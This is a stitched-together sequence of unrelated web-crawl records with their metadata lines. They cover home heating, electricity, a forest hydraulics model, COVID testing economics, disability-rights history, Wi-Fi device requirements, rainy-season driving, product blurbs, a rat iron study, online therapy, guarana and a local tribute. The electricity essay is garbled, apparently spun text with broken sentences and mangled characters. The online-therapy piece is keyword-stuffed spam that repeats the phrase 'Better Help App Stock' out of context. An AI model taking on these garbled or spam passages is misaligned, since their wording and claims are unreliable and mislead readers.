Radiator reflectors are panels fitted behind the radiator that reflect heat into room, saving around
7% of heating fuel. Radiator-enhancing fluid makes the heating system more efficient. Adding a litre
of this fluid to the heating system and can reduce energy use by 15% | <urn:uuid:4acc1ed3-3aa5-453e-974e-a10fc6f57b46> | CC-MAIN-2022-33 | https://carbonsavvy.uk/keeping-warm/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.913896 | 190 | 2.65625 | 3 |
Hundreds of years ago, people never thought that technology could make life easier.
In modern times, people can't imagine life without electricity.
Why is electricity so important to people today?
Let's talk about some aspects of life. Electricity has improved a lot.
This is probably the most improved aspect of people's lives.
With electric equipment and computers, people can now communicate with each other no matter how far away they are.
As long as you have the power to use your mobile phone or internet, there will be no problem with long distance communication.
Can you still imagine the world without smartphones and laptops?
Entertainment electricity has also greatly improved entertainment.
People can use TV and radio because of electricity.
It is also used to power the microphone during printing books and activities.
Imagine life without these entertainment equipment and equipment. Letx92s face it.
Without it, life will become very dull.
No more consoles can kill time.
Tell me about a job or career that doesn't require electricity. There is none.
From construction to enterprise work, from White
Bond with blue
People need electricity to operate some of the equipment they need to complete their daily tasks.
That's why companies suffer a lot when there is a shortage of energy because they can't operate and deliver the services they promise to their customers.
In many countries, the transportation system began to change.
Besides trains, cars and other vehicles are now designed to rely not on gasoline but on electricity.
This is because it is eco-friendly.
Friendly, not harmful.
Carbon emissions and other products.
If natural gas is not used by all means of transport, air pollution and global warming will surely be solved.
The food industry also needs electricity to operate.
For machine reasons, it is much faster and easier to produce food now.
Imagine a fast food chain or restaurant without power.
Of course, you have to wait a few hours before you eat the meal you ordered.
Household electricity is also very efficient for families.
Air is available for families
Turn on the air conditioner in summer.
In the winter, they can also deviate from the traditional heater and choose the electric heater.
Family members can be connected by watching movies on DVD or playing games together.
These are just some of the advantages of electricity.
It also has some shortcomings and problems.
The most common way, for example, is to burn crude oil or fossil fuels.
The bad thing is, these things are notrenewable.
Once these resources disappear, the world will surely suffer.
The good news is that renewable energy is now being discovered and developed.
One example is solar energy that uses the heat of the sun.
Water and electricity use the power of running water from flowing turbines.
Geothermal energy generates electricity through heat from the ground. | <urn:uuid:0e2221fe-4bc5-4af1-978b-29991ca0602f> | CC-MAIN-2022-33 | https://www.litelsolar.com/aiwz-importance-of-electricity-x96-how-it-changed-peoplex92s-lives-solar-energy-traffic-lights | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.95304 | 596 | 2.75 | 3 |
Forest ecosystem models based on heuristic water stress functions poorly predict tropical forest response to drought partly because they do not capture the diversity of hydraulic traits (including variation in tree size) observed in tropical forests. We developed a continuous porous media approach to modeling plant hydraulics in which all parameters of the constitutive equations are biologically interpretable and measurable plant hydraulic traits (e.g., turgor loss point πtlp, bulk elastic modulus ε, hydraulic capacitance Cft, xylem hydraulic conductivity ks,max, water potential at 50 % loss of conductivity for both xylem (P50,x) and stomata (P50,gs), and the leaf : sapwood area ratio Al : As). We embedded this plant hydraulics model within a trait forest simulator (TFS) that models light environments of individual trees and their upper boundary conditions (transpiration), as well as providing a means for parameterizing variation in hydraulic traits among individuals. We synthesized literature and existing databases to parameterize all hydraulic traits as a function of stem and leaf traits, including wood density (WD), leaf mass per area (LMA), and photosynthetic capacity (Amax), and evaluated the coupled model (called TFS v.1-Hydro) predictions, against observed diurnal and seasonal variability in stem and leaf water potential as well as stand-scaled sap flux.
Our hydraulic trait synthesis revealed coordination among leaf and xylem hydraulic traits and statistically significant relationships of most hydraulic traits with more easily measured plant traits. Using the most informative empirical trait–trait relationships derived from this synthesis, TFS v.1-Hydro successfully captured individual variation in leaf and stem water potential due to increasing tree size and light environment, with model representation of hydraulic architecture and plant traits exerting primary and secondary controls, respectively, on the fidelity of model predictions. The plant hydraulics model made substantial improvements to simulations of total ecosystem transpiration. Remaining uncertainties and limitations of the trait paradigm for plant hydraulics modeling are highlighted.
Christoffersen, B. O., Gloor, M., Fauset, S., Fyllas, N. M., Galbraith, D. R., Baker, T. R., Kruijt, B., Rowland, L., Fisher, R. A., Binks, O. J., Sevanto, S., Xu, C., Jansen, S., Choat, B., Mencuccini, M., McDowell, N. G., and Meir, P.: Linking hydraulic traits to tropical forest function in a size-structured and trait-driven model (TFS v.1-Hydro), Geosci. Model Dev., 9, 4227–4255, https://doi.org/10.5194/gmd-9-4227-2016, 2016. Geoscientific Model
Creative Commons License
This work is licensed under a Creative Commons Attribution 3.0 License.
Geosci. Model Dev | <urn:uuid:acdcd5a9-7701-409e-a8e4-ba38396e2ff7> | CC-MAIN-2022-33 | https://scholarworks.utrgv.edu/bio_fac/179/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.824899 | 668 | 1.78125 | 2 |
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As testing becomes a central focus in the U.S. fight against the coronavirus pandemic, a world-renowned economist released a $100 billion pathway to mass testing.
Paul Romer, former chief economist of the World Bank, said until a vaccine is developed and ready to be widely distributed, testing is the best way to reopen the U.S. economy.
“Lifting the lockdown without a plan, surrendering to the virus, and letting it return to its path of exponential growth would be devastating in both economic and human costs,” Romer wrote. “It won’t matter if everyone is free to do anything they want. Fear and uncertainty spawned by surrender will paralyze us all.”
The plan calls for testing every person in the U.S., with essential workers taking priority. Anyone who tested positive would be isolated. Tests would be administered “regularly,” with every two weeks the recommendation. That would mean 25 million tests per day.
In order to get testing to those levels, Romer advocates for removing regulatory barriers and establishing a network of university and national labs.
It would also require substantial funding – about $100 billion altogether, including the costs of infrastructure and training. Those funds would be issued in block grants to the states.
Romer argues that those costs outweigh the downside of lifting the lockdown without a testing strategy. Until Americans feel confident, economic losses would only be slightly reduced, as people acted out of fear and uncertainty. Under lockdown, Romer says, the U.S. economy loses $500 billion per month. Lifting the lockdown without mass testing to ease that fear may only reduce losses by about $100 billion.
“A temporary relaxation of lockdown will offer little economic benefit because it won’t give consumers or firms the necessary confidence to plan and invest,” Romer said.
The strategy is aimed at limiting the spread of the virus to no more than 5 percent of the population.
The ramped-up testing procedures would be in place until a vaccine is “widely available.”
When asked about the U.S. testing capacity, President Trump on Thursday said he thinks the country is doing “a great job.”
Increased testing would address a concern that many individuals with coronavirus are believed to be asymptomatic – spreading the virus to vulnerable groups without knowing they are infected.
As of Thursday, there were more than 856,200 domestic COVID-19 cases and more than 47,200 deaths.
The economic toll has been steep – over the past five weeks more than 26 million Americans have filed unemployment claims. | <urn:uuid:9cc75a97-b55f-4a3d-9825-548e32514c9b> | CC-MAIN-2022-33 | https://www.foxbusiness.com/lifestyle/famed-economist-rolls-out-100b-plan-to-test-every-american | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.957357 | 571 | 2.3125 | 2 |
Words by Josue Ramirez
Edited by Abigail Vela
One thing Juan Carlos Lopez remembers about growing up during the ’80s in McAllen, Texas, was the lack of ramps. Lopez uses a wheelchair and recalls how many of his childhood experiences were limited by the inaccessible built environment of public spaces such as parks.
“I was young, so my mom would talk to the city officials that took care of the making of the ramps, it was a back and forth,” he describes. According to Lopez, sensitivity training for speaking with a person with a disability was not something officials were educated on. “Some would not even approach me. So I would just have to go to another park, but back then, there were hardly any ramps at any of the parks, so I would not go,” he mentions over the phone.
As a teenager, the historic signing of the Americans with Disabilities Act on July 26th, 1990, marked a shift for his future and that of many other Americans. The expansion of civil protections came only after continued direct, radical action and advocacy by people with disabilities.
Judith (Judy) Heumann is a lifelong advocate for the rights of people with disabilities. She is considered “the mother of disability rights.” Digital illustration by Josue Ramirez.
The Fight for Dignity
The Civil Rights Movement and the passage of the Civil Rights Act of 1964 provided a foundational framework for the laws that would impact people with disabilities. Along with the movements for racial and social justice of the time, people with disabilities became more visible as soldiers returned home as victims of the violence of the Vietnam War.
The topic arose as a priority issue for the country. The Rehabilitation Act – a replacement of the pre-existing federal laws on funding for vocational rehabilitation services and the government’s responsibilities to individuals with the “most severe disabilities”- was key to advocates’ efforts. Particular interest was in Section 504, which states, “[N]o otherwise qualified handicapped individual… shall, solely by reason of his handicap, be…subjected to discrimination under any program or activity receiving Federal financial assistance.”
Despite the Nixon administration’s opposition via Veto, direct actions like the blockage of Madison Avenue in New York by organizations like Disabled in Action led by Judy Huemann resulted in the signing of the Rehabilitation Act of 1973. While significant, the victory was the start of a four-year uphill battle to develop, implement and enforce regulations.
On April 5th, 1977, after years of organizing, advocates began the historic 504 Sit In that took over San Francisco’s United States Department of Health, Education, and Welfare building. The goal of the protest was to have Secretary Joseph Califano sign the Sec. 504 regulations. Over 500 disability advocates began the occupation, which continued for 26 days. It is the longest lasting sit-in in American history. On April 28th, 1977, the regulations were signed. They gave some rights to people with disabilities, including access to public services like education and housing, as well as a private right of action.
Years after the 504 Regulations were signed, the continued grassroots organizing and direct actions by groups like ADAPT (Americans Disabled Attendant Programs Today) would once again be required to push for federal protections for people with disabilities. In a striking demonstration on March 12th, 1990, 60 activists left their mobility-assistance devices and crawled up the 83-step staircase that led to the Capitol. Known as the Capitol Crawl, the action created nationwide support.
Four months after, on July 26th, 1990, President H.W Bush signed the Americans with Disabilities Act (ADA): a civil rights law that prohibits discrimination against individuals with disabilities in all areas of public life, including jobs, schools, transportation, and all public and private places that are open to the general public. The ADA ensures that people with disabilities have equal rights and opportunities as everyone else. The law is divided into five titles of public life:
The fight for disability rights united people of all walks of life in their efforts against discrimination and exclusion
for people who are differently abled. Illustration by Josue Ramirez
THE ADA LEGACY
“Ever since the ADA came into effect, it has had a great impact on my life because now I can go anywhere that I want,” he laughs, “I know there is a lot to be done, but there is still a lot of [good] because of the ADA,” Lopez mentions his service dog as another example. He sees the ADA as a stepping stone for the disability rights movement, “It is a great law that protects people with disabilities and gives us the right to form our own opinion.”
Now, as a 43-year-old, Lopez recalls what it was like to live without that law. Not only is it easier to get around the city now, but the ADA requirements allow him access to positive and affirming assisted-living services like those provided by the Valley Association for Independent Living (VAIL).
VAIL is a center for independent living that serves people with disabilities in the greater Rio Grande Valley and South Texas through four primary services: information and referrals, independent living skills, individual and systems advocacy, and peer counseling. They are committed to enabling persons with disabilities to “gain effective control and direction of their lives in the home, in the workplace, and in the community.”
“VAIL is a great center where we can express our wants and needs in our own particular ways, and they help us,” Lopez says enthusiastically, “I have difficulty with speech, but the staff at VAIL is very patient, kind, and open-hearted in teaching us different coping mechanisms with our day to day activities.”
Lopez serves as a board member of VAIL and as a Peer Support Specialist for the Peer Advocacy and Leadership (PAL) program they host. “We learn about self-advocacy about having pride in our disabilities and helping other people with disabilities by giving them emotional support and teaching basic skills like math, where to go when they need assistance, and just being a support system for other people with disabilities who do not have those systems,” Lopez describes.
He credits the VAIL counseling program with helping him overcome personal family situations with sick loved ones and other challenges like anxiety and public speaking. “I am glad what VAIL does for us. They especially keep their mind focused on the ADA Law. They preach it cold-heartedly in their classes, to stay constantly aware about our rights and responsibilities as a citizen, even though we have disabilities we can contribute to society,” Lopez mentions.
ADA laws give Lopez confidence and great access to go around the Valley and fight the injustices that he sees within the public for people with disabilities. “With the ADA in place, if I go to a park and there are no ramps, I use the power of the ADA to ask the city where I live in that they must follow ADA rules and provide me with that ramp that I need. If not, I could invoke my right to use an attorney to get that done.”
While the RGV is a great place to live, according to Lopez’s experiences, it also has significant shortcomings, “We don’t get the same funding as other areas do, but we are working to bridge those gaps by using the tools of education.”
Creatives have long discussed their role in shaping the information they communicate, but do we consider where and for who creatives choose to share their talents with? As creatives, we must ask ourselves what role we play in the narratives surrounding us.
Piñatas are a staple for many Latinx communities, but they are not just associated with childhood anymore. The craft carries the deep cultural significance of a practice that has endured from indigenous times, sustained generations of families, and continues to be a staple of our visual identity.
Trucha in collaboration with Carla Hughes Studios are proud to welcome Souther Recio as the inaugural resident artist for the Rio Grande Ceramics Residency (RGCR). Learn more about what Recio has planned and follow her process. | <urn:uuid:0f5d03bb-c443-48a0-8c38-440fba34dd26> | CC-MAIN-2022-33 | https://truchargv.com/ada/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.97678 | 1,704 | 3.1875 | 3 |
Joan 6 and Joan 13 are thin client devices with low-power Wi-Fi modules that rely on an established Internet connection in order to operate. As such, it is crucial for the Wi-Fi network Joan is connected to, to be stable, strong, and for it to meet certain requirements:
Wi-Fi Standard and broadband frequency
Joan connects via the Wi-Fi IEEE 802.11 b/g/n standard.
At the moment, Joan 6 and 13 devices support only the 2.4GHz network frequency, while the Joan 6 Pro supports both 2.4GHz and 5GHz network frequency.
Two types of Wi-Fi encryption are supported:
- WPA2-PSK encryption:
- Standard WPA2-PSK (AES) encryption is supported, provided by any standard modern access point. Old WPA and TKIP are not supported due to security concerns
- In these devices, WPA2-EAP is supported in addition to WPA2-PSK. The devices support TLS, TTLS, and PEAP methods. For PEAP and TTLS, the MSCHAPv2 inner method is supported. The connection certificates (supported length 4096 bytes) can be stored on the internal storage of a Joan device (uploaded in the .PEM format)
Joan devices can also connect to Wi-Fi networks without encryption.
It might happen that this network is hidden when choosing a specific network for your Joan device. In such cases, you will have to use the Joan Configurator and manually connect to the network.
Instructions on how to manually connect to a Wi-Fi network can be found here.
Supported Wi-Fi channels
Joan devices are able to connect to Wi-Fi channels spanning from 1 up to 11.
While they cover the 1-11 channel specter, we highly advise setting your network to channels 1, 6, or 11 to ensure the highest performance and connectivity of Joan 6 and Joan 13 devices.
Joan still won’t connect to the Wi-Fi network
Does your network meet all these requirements, but your Joan device will still not connect to the network or has connectivity issues? Please visit this list of common problems and solutions. | <urn:uuid:ecc1c4c0-fc82-41b3-9da5-608ee9f8cb5d> | CC-MAIN-2022-33 | https://support.getjoan.com/knowledge/Wi-Fi-network-requirements-for-Joan-devices | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.908301 | 468 | 1.710938 | 2 |
There are many reasons why the Intermediate Mode – a range of technologies and engineering solutions – can help passengers.
- Safety – buses on rails are safer – especially when operating in pedestrianised areas
- Durability – rail-based vehicles last many more years than rubber tyred buses
- Property Uplift – opportunity for rates uplift as property values increase
- Relocatable – waybeam tracks offer much lower capital cost installation costs along with lower operating costs
- Popularity – Public have shown their preference for travelling on rail-based alternatives | <urn:uuid:22dba220-583e-4a21-b50c-fc13e184fcb5> | CC-MAIN-2022-33 | http://ulrpartners.com/news/why-the-intermediate-mode-can-help-passengers-press-release-august-2018/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.936472 | 110 | 2.578125 | 3 |
It’s always a puddle of emotions when the monsoon arrives. Same goes for our car too. While many out there love the adrenaline of driving their cars in heavy rain, there are a few things to keep in mind for better maintenance of your car.
Wet roads and moving vehicles cannot work together and should be avoided as much as possible. Unfortunately, during this pandemic, not everyone works from home or is forced to leave a safe home. If you must drive during the rainy season, you should keep in mind some important tips, they will definitely help you drive better and safer.
The clearer your view, the better
One of the things we don’t realise is how quickly our vision of the road can be hampered when driving in the rain. This is why we always need to keep the front and rear windshield clean at all times. Wipers help in a big way to keep things clear and safe while the AC helps in circulating fresh air and stops the windows from fogging up. The better your vision, the better you will be able to drive.
Keep your feet dry
We all know how wet shoes on a metal surface (manhole cover) and friction become an unattainable dream. Likewise, during the rainy season, you may enter a car with wet shoes, and using these shoes to control the accelerator, brakes, and traction can be challenging. High-quality rubber pads come in handy here, you can quickly dry your shoes, allowing you to ride safely. If the beauty of the shoes is more important to you, you can wear a shower cap on the shoes to prevent the shoes from getting wet and dirty.
Maybe slow down a little bit
Speeding is the main cause of car accidents in India, and the danger only increases when it rains. On rainy days, it is best to relax while driving. Water skiing is a phenomenon in which a thin film is formed between a car tire and the road surface. This can cause the car to slip and eventually cause the driver to lose control. Water skiing occurs when the vehicle is driving too fast and the tires are not properly attached to the road. When driving slowly, the risk of skidding is greatly reduced, and even when skidding, it is easier to control at lower speeds.
Stick to the middle
The road is equipped with side drains so that excess rain or water can be drained quickly. However, on Indian roads, these sewers are often blocked and cannot work properly. This means that a lot of water tends to gather at the edge of the road instead of in the middle. Therefore, if you want to make driving safer during the rainy season, you should choose a location close to the center of the road. When you drive sideways, you not only risk hitting large potholes and engine water, but other cars can easily splash water on your car and windshield, making it difficult to see ahead.
Puddles are a hurdle
India’s roads and heavy rain are likely to be the biggest enemies on the planet, and when these two opponents collide, they will eventually become puddles. Deceptive, usually muddy, inevitable pits filled with water, dirt and whatever you choose to sink in. If the driver does not take the puddle seriously, the puddle is very dangerous. It is best to avoid roads with puddles, but finding a road without at least one pothole is a tricky task. If you really need to drive into one of them, try to measure the depth of the puddle by looking at the water around the puddle.When other vehicles drive through the puddles, observe and follow them. If you are aware of potholes and know that the puddles are deeper than you want, then it is best to avoid them altogether. It is best to assess whether the water in the puddle is above the threshold level. If it doesn’t, and you decide to turn it off, always place your foot carefully on the throttle to prevent water from entering the car’s exhaust pipe. | <urn:uuid:4829edb5-de23-496e-84ce-e268531d7118> | CC-MAIN-2022-33 | https://blog.getpitstop.com/5-tips-for-driving-your-car-in-the-rain/?amp | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.96489 | 830 | 2.078125 | 2 |
Easy Learning German Dictionary (Collins Easy Learning German)
An up-to-date, easy-reference dictionary with key GCSE curriculum words highlighted and a practical and fun supplement covering key vocabulary areas. It is the ideal dictionary for learners of German of all ages, but especially for those aiming for GCSE exam success. Fully endorsed by the exam board, Edexcel.
Designed for all learners of German, whether you are learning for your GCSE exams at school, in an evening class, for business or to go on holiday. The entries cover everyday German and English (including all essential set expressions) and key curriculum words are highlighted to help with exam preparation.
Clear and concise language notes provide information on common grammatical errors and confusable words, while handy culture notes explain cultural differences. German verbs are cross-referred to comprehensive verb tables, helping you find all the German verb forms you need. Combined with a text which is colour-coded and very easy to navigate, the Collins Easy Learning German Dictionary gives a solid foundation for German language learning.
- Get it right: thousands of examples of real German show you exactly how translations are used.
- Get there fast: clear colour layout takes you quickly to the words you want, with key GCSE vocabulary flagged for rapid identification.
- Have confidence: a fun, practical supplement focuses on key exam vocabulary and helps you to use written and spoken German correctly. | <urn:uuid:9e2c4a3a-2d82-4f07-926e-f3217204ff7c> | CC-MAIN-2022-33 | https://newshop.vn/easy-learning-german-dictionary-collins-easy-learning-german.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.909635 | 288 | 3.5625 | 4 |
MasterCem LS 3122 - Cement additive engineered for enhancement of cement late strength and reduction of unit grinding energy / increase of cement mill throughput
How does it work?
MasterCem LS 3122 is a liquid, ready-to-use
cement additive designed to enhance cement
performance. In addition to acting as a Grinding Aid
in the milling process and a flow aid in cement
conveyance, MasterCem LS 3122 improves
specific cement properties by the activity of its
chemical components. These act in the modification
of clinker characteristics and in the enhancement of
its hydraulic properties.
Products of the MasterCem LS 3000 series are
specifically designed to increase late strength of
cement. These benefits can be used either for
achieving superior product performance or for
cement optimization while maintaining the original
performance level. Typical late strength
improvement is +5-15% at 28 days vs. plain control.
However, product performance is dependent on
grinding equipment characteristics, process
conditions, raw material properties and cement
type. To best benefit from cement additives, mill
and separator process parameters may need to be
MasterCem LS 3122 improves the flow
characteristics of cement with positive impact on
cement conveyance and reduction of pack-set in
What is it used for?
MasterCem LS 3122 is developed for application in
the cement grinding process in:
- Ball mills (closed and open circuits)
- Vertical mills
- Other cement grinding systems
What are the benefits?
MasterCem LS 3122 offers the following benefits to
- Cost reduction due to lower unit grinding
energy (kWh/t) and optimization of cement
fineness and composition while maintaining
- Capacity extension due to higher mill
throughput and optimized cement recipe.
- Sustainability due to reduced Clinker Factor
and specific CO2 emissions. Gain of carbon
- Product differentiation due to enhanced
product performance and improved cement
properties for the final application.
- Improved cement handling due to faster
cement conveyance through the plant and in the
distribution logistics. Reduction of plant stops
and optimized storage in silos. | <urn:uuid:e8d7037b-3052-4810-a099-5888044530f7> | CC-MAIN-2022-33 | https://www.master-builders-solutions.com/en-eg/products/mastercem/mastercemls3122 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.855846 | 483 | 1.617188 | 2 |
Its quite possible to suddenly realize that no other app on your Android phone is able to connect to the internet except Whatsapp and maybe Instagram. This is despite you having an active data plan which isn’t restricted to these apps.
You’ll notice that this happens when you’re on mobile data. All seem to work fine on wifi, narrowing the issue down to mobile data.
The root cause of this issue is an authentication setting in your current Access Point Name (APN) settings. To fix this issue:
- Find out your service provider’s APN settings (you can run a Google search)
- Navigate to Settings > Connections > Mobile Networks > Access Point Names (the exact path might vary with device)
- Tap Add
- Input your service provider’s APN settings and leave all other fields as they are
- Tap the menu at the top right then choose Save
- Back on the APN screen, tick the APN you just added
- Restart the device | <urn:uuid:f488a84d-aeed-4680-9080-37db0c9ca6a9> | CC-MAIN-2022-33 | https://www.hovatek.com/blog/fixing-only-whatsapp-and-instagram-can-connect-to-the-internet/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.906155 | 213 | 1.625 | 2 |
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Large climbing plant, native to the Amazon forest; the stem is robust and densely branched; in nature, the plant can often reach 10-12 meters in height, climbing along the trees of the Amazon forest, with the appropriate pruning it is easily possible to obtain a compact shrub, up to 2-3 meters high. In industrial guarana cultivation, it is generally preferred to keep the plants contained, so that they can be harvested more easily. The stem is woody, with smooth bark, of brown color; the leaves are dark green, shiny, oval, or lanceolate. In spring it produces small white flowers, gathered in large clusters, to which the fruits occur: it is drupes with leathery, orange-red colored peel, containing little white flesh around a large dark brown seed. This plant was already used in ancient times by the Indians of the Amazon, as a medicinal and sacred plant. In herbal medicine and in western medicine, guarana seeds are used, suitably dried and ground; Guarana powder has stimulating effects, containing caffeine and theobromine. It is used as a stimulant, but also as an analgesic, an aphrodisiac, a disinfectant ... Some of the active ingredients contained in guarana can become toxic if consumed continuously and in large doses.
Guarana plants are grown in tropical areas, there are real guarana plantations, industrially exploited; it is a plant of easy cultivation, which needs an average temperature close to 15-18 ° C, even during the cold season, so it is not possible to cultivate it outdoors in Europe. Plants that have long been settled are satisfied with the water supplied by the rains, but in general young plants are watered in particular drought or heat; generally they tolerate drought without problems, and do not tolerate cultivation in damp places or in poorly draining soil conditions. As said before the cultivated plants are pruned, so as to obtain roundish shrubs, of contained dimensions.
It occurs by semi-woody cutting, in summer; the cuttings are rooted in a mixture of peat and sand in equal parts. The young plants are planted after reaching 35-40 cm in height in a container. In spring it is possible to sow the large seeds, even directly at home.
Guaranа - Paullinia cupana: Pests and diseases
In general it does not fear the attack of insects; a heavy soil or excessively frequent rains can favor the development of radical rot. | <urn:uuid:fa15624f-dc69-4efb-89b8-57ba233a3d80> | CC-MAIN-2022-33 | https://ls.floridamhca.org/1603-guaran-paullinia-cupana.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.944554 | 569 | 2.859375 | 3 |
Submitted to: Nutrition Research
Publication Type: Peer Reviewed Journal
Publication Acceptance Date: 10/3/1997
Publication Date: N/A
Interpretive Summary: The number of meals eaten daily by people varies considerably, and the influence of going without food, or fasting, for short periods of time on the absorption of many nutrients, including iron, is not known. The present study, in which rats were used to study iron nutrition, was conducted to determine if absorption of dietary iron is affected by the number of meals eaten daily. This study showed that meal frequency affected iron absorption when dietary iron was provided as an available salt administered in meals fed to the rats. Those animals fed either four or two small meals daily absorbed and utilized the iron in the diet more efficiently than did animals fed one meal daily. Because iron absorption was affected by the number of meals eaten daily, the pattern of eating is a factor that should be considered in studies to assess the absorption of dietary iron. Increased understanding of factors that either promote or inhibit absorption of dietary iron will lead to improved methods to preven or reduce the occurrence iron deficiency, a nutritional disorder that is common among some groups of people.
Technical Abstract: The effects of short periods of fasting, characteristic of a human eating pattern consisting of one, two, or four meals daily, on iron absorption were investigated in anemic rats by hemoglobin repletion assay. Sixty weanling rats were fed a low-iron diet (8 mg Fe/kg diet) for 13 days. The anemic rats were then fed iron (FeSO4 or FePO4) fortified diets (35 mg Fe/kg diet) for 11 days under three feeding regimens: one, two, or four meals daily. Hemoglobin regeneration efficiency (hemoglobin gain/Fe intake) was the indicator of iron absorption. Greater hemoglobin regeneration efficiency was found in rats fed a FeSO4 diet with four (82.5+/-4.8%) or two (78.8+/-4.1%) meals daily than in rats pair-fed one (63.4 +/- 3.4%) meal daily; differences among groups fed the FePO4 diet were not significant. Both iron source and meal frequency affected iron absorption but the interaction effect was not significant. We conclude under the conditions of this study that fasting for as long as 24 hours does not enhance iron absorption and that the feeding pattern may be a factor to consider in studies to determine iron bioavailability. | <urn:uuid:3b681d60-f41e-4003-9f47-f704cfc971c7> | CC-MAIN-2022-33 | https://www.ars.usda.gov/research/publications/publication/?seqNo115=81803 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.960788 | 548 | 3.171875 | 3 |
Welcome to our site. Todays review covers Better Help App Stock…
Confronted with joining a desperately long NHS waiting list, Joe Rackham selected online counselling instead. “I simply felt that I couldn’t wait any longer– I was encouraged and prepared to deal with my concerns and quite liked the idea of doing so in the comfort of my own home,” stated the 29-year-old, who lives in London. After an online search, he found a therapist whose profile fit his needs and booked a chat session for the next day.
The doctor app Babylon provides therapy to 150,000 active users, while PlusGuidance, an online counselling service, has 10,000 users. Talkspace, another online treatment platform, reports it has 500,000 registered users worldwide, with most in the US.
Online training encourages therapists on everything from using emojis to avoiding misconceptions. They likewise need to protect patients’ personal information– a concern that has caused controversy in the United States, where big online treatment platforms have come under the spotlight.
Buckley said clients should inspect services’ personal privacy policies prior to signing up. “Not all online counselling websites use expertly trained therapists or follow a principles policy, so ask your GP for a recommendation in the first instance. Similar to all kinds of services and assistance, what works for someone may not work for someone else,” he stated.
Marc Bush, primary policy advisor at Young Minds, said that while online counselling services are important, “they shouldn’t change face-to-face treatment with a trained specialist. If a young adult is struggling, we would encourage them to speak to their GP in the very first circumstances, or to get in touch with a recognized service like The Mix, Childline or the Samaritans.”.
For Rackham, who has generalised anxiety disorder, online counselling wasn’t the best fit. “I felt it was near difficult for the therapist to really get a sense of the issues I was handling, as all they needed to go from was my typed-out words. I believe I realised after that online session how important interpersonal interaction was.
” I’m a big fan of using technology in all locations of my life as a solution to everyday problems. I have apps for whatever, however when it concerns mental health, you need to pick how technology plays a role in your recovery very carefully.”. Better Help App Stock
The business explains BetterHelp as the “biggest online therapy platform worldwide,” geared toward assisting individuals handling concerns “such as tension, anxiety, relationships, parenting, depression, addictions, eating, sleeping, injury, anger, household disputes, LGBT matters, sorrow, faith [or] self esteem.” The business’s frequently asked question area on its site plainly specifies BetterHelp’s app and therapists shouldn’t be utilized for people dealing with an extreme mental disorder (schizophrenia, bipolar affective disorder) or for people thinking about self-harm. Instead, the app prides itself on having certified therapists and psychological health specialists available to assist individuals via text, telephone call or video chat. That’s what many YouTubers who have actually accepted sponsorships from the company often say in their own videos, where they speak on the stresses in their personal lives and sensations bordering on stress and anxiety or anxiety. Bobby Burns, Elle Mills, Philip DeFranco, Heath Hussar, Boogie2988, Shane Dawson and ChandlerNWilson are all creators who have Better Help App Stock sponsors now.
A number of these creators have discussed mental health concerns in the past, however as burnout becomes a bigger topic within the community– and mainstream world– sponsorships including BetterHelp have increased, despite the app not being exactly what the creators are promoting. | <urn:uuid:89d4121c-dc73-4859-abda-1e81c8ecc789> | CC-MAIN-2022-33 | https://mrgrg-ms.org/better-help-app-stock/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.948666 | 799 | 1.570313 | 2 |
by Henry Lane Hull
Often we think of the illustrious figures from the Northern Neck’s historic past without realizing that we have continued to produce commanding individuals in our own time. Robert Delano was one such person. Throughout the 93 years of his life in every circumstance he rose to a profound level of brilliance, whether as a farmer, an executive, a civic leader, or most importantly to him, as a patriot who loved his county.
Robert was born in Richmond County in 1924. He attended local schools, graduated from V. P. I. and served in the United States Army in the Pacific Theater during the Second World War. When he returned from the war he took up his family profession of farming. He worked with Virginia Cooperative Extension in the southern part of the Commonwealth, but the lure of his homeland called him back to the soil of the Northern Neck.
Across the course of his career, Robert held many positions with the American Farm Bureau Federation, rising ultimately to be the national president, directing the organization from its headquarters and visiting farmers and their families throughout the country. Like Cincinnatus, when that period of his life was completed, he returned to his home, indeed his land, in the Northern Neck.
Once back here, Robert devoted much of his time to the study of our history. He served for many years as the Richmond County vice president of the Northern Neck of Virginia Historical Society, attending all of the society’s meetings and offering his leadership and knowledge to the executive committee. He readily assumed any task that was asked of him and brought the depth of his widespread experience to the table, always anxious to stimulate in others the love of our past that had characterized his entire life.
Robert took particular interest in the society’s programs to involve young people in learning about the history of the Northern Neck. He wanted to inculcate in the youth the same enthusiasm for history that permeated everything he did. When I hear people speak of “loving the land,” from its organic composition, through its production and sustainability and into the past of those who have lived on it and worked it, I think of Robert. He truly manifested all of those attributes. The land was a very personal matter for him.
